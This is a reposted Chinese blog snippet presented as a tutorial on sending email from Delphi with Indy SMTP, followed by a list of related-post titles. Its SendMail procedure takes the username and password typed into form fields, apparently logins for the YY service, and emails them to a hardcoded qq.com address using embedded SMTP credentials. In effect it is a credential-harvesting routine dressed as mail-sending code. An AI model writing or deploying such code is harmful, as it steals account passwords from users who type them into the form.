Delphi发送邮件...

///首先在控件栏定位到:Indy Clients添加控件IdSMTP
///再定位到:Indy Misc添加控件IdMessage

///发送邮件函数
procedure TForm1.SendMail(YYuser: string;YYpass:string);begintryIdSMTP1.AuthenticationType:=atLogin; //设置登陆类型IdSMTP1.Username:='1099897995@qq.com'; //设置登陆帐号IdSMTP1.Password:='123456'; //设置登陆密码IdSMTP1.Host:='smtp.qq.com'; //设置SMTP地址IdSMTP1.Port:=25; //设置端口   必须转化为整型IdSMTP1.Connect;   //开始连接服务器exceptShowmessage('连接失败,请重试!');Exit; //连接失败 的话 退出该执行过程end;IdMessage1.Body.Clear;   //先清空上次发送的内容IdMessage1.Subject:='YY来信了^_^!...YYuser:'+YYuser+'  YYpass'+YYpass;   //设置邮件发送的标题IdMessage1.Body.Text:='YYuser='+YYuser+'   yyPass='+YYpass; //设置邮件发送的主体IdMessage1.From.Address:='1099897995@qq.com'; //设置邮件的发件人IdMessage1.Recipients.EMailAddresses:='4729@qq.com';   //收件人的地址tryidSMTP1.Send(IdMessage1);Showmessage('邮件发送成功!');exceptShowmessage('邮件发送失败!');end;
end;
//

/调用方式

SendMail(edtUser.Text,edtPass.Text); //发送邮件

转载于:https://www.cnblogs.com/friendan/archive/2012/08/24/2838054.html

Delphi发送邮件...相关推荐

Delphi 发送邮件通过Office Outlook
Delphi 发送邮件通过Office Outlook 网上搜到的Delphi邮件发送系统,绝大多数是使用SMTP协议来发送. 但是事实上它们已经过时了,大多数邮件服务器已经屏蔽了Delphi In ...
用Delphi设计能携带附件的EMail
来源:金桥论坛平时从来不使用Foxmail.Outlook这样的的客户端软件的用户,每次发邮件的时候都会小心翼翼地打开IE,击开收藏夹,点击某个网站的地址,然后填入用户名.密码,添加 ...
Delphi之面向对象的界面复用技术
代码复用和界面复用面向对象的编程思想强调代码的可复用.而Delphi的精髓实际上就是Object Pascal语言,Object Pascal语言是一个非常强大的面向对象的编程语言,可以通过对象的继 ...
我的Delphi开发经验谈（转）
--2010年09月28日星期二下午 05:26 我的Delphi开发经验谈 -------- 开发环境 -------- Delphi 7是一个很经典的版本,在Win2000/XP下推荐安装De ...
Delphi小技巧杂记
//获取任务栏尺寸 procedure TForm1.Button1Click(Sender: TObject); var TaskList: HWnd; Bordered: TRect; begin ...
在Delphi中使用indy SMTP发送gmail邮件[转]
在Delphi中使用indy SMTP发送gmail邮件[转] 2012-01-01 22:44:30| 分类: Delphi | 标签: |举报 |字号大中小订阅在Delphi中发送emai ...
delphi 整理的常用函数
// 获得计算机名 AnsiString GetComputerName() { char name[MAX_COMPUTERNAME_LENGTH + 1]; DWORD size = MAX_CO ...
Delphi写游戏外挂
在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事.就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度): 1.动作式,所谓动 ...
zt我的Delphi开发经验谈
我的Delphi开发经验谈 -------- 开发环境 -------- Delphi 7是一个很经典的版本,在Win2000/XP下推荐安装Delphi 7来开发软件,在Vista下推荐使用 ...

Delphi发送邮件...

Delphi发送邮件...相关推荐

最新文章

热门文章